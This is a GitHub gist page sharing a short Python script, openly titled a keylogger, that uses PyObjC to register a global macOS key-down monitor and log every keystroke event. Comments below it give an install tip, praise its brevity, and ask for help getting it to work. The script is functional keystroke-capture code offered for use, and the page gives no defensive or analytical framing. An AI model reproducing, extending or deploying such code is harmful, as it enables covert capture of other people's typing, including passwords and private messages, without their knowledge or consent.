Skip to content

Instantly share code, notes, and snippets.

@gourneau
Created June 29, 2012 19:02
Show Gist options
  • Star 3 You must be signed in to star a gist
  • Fork 1 You must be signed in to fork a gist
  • Save gourneau/3019988 to your computer and use it in GitHub Desktop.
Save gourneau/3019988 to your computer and use it in GitHub Desktop.
Python Objective C keylogger
"""PyObjC keylogger for Python
by ljos https://github.com/ljos
"""
from Cocoa import *
from Foundation import *
from PyObjCTools import AppHelper
class AppDelegate(NSObject):
def applicationDidFinishLaunching_(self, aNotification):
NSEvent.addGlobalMonitorForEventsMatchingMask_handler_(NSKeyDownMask, handler)
def handler(event):
NSLog(u"%@", event)
def main():
app = NSApplication.sharedApplication()
delegate = AppDelegate.alloc().init()
NSApp().setDelegate_(delegate)
AppHelper.runEventLoop()
if __name__ == '__main__':
main()
@gourneau
Copy link
Author

Needs to have PyObjC installed. The pip install is broken, use easy_install.

@kaydell
Copy link

kaydell commented Feb 19, 2013

Wow. That's impressively concise.

@Ali-Razmjoo
Copy link

Hey dude nice thing , but it not work for me , just keep listening not print anything , what's problem ? can you help me please ?

take a look at this picture also , when i start it in 10second first have some crash
http://uploadkon.ir/fl/dd/11657

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment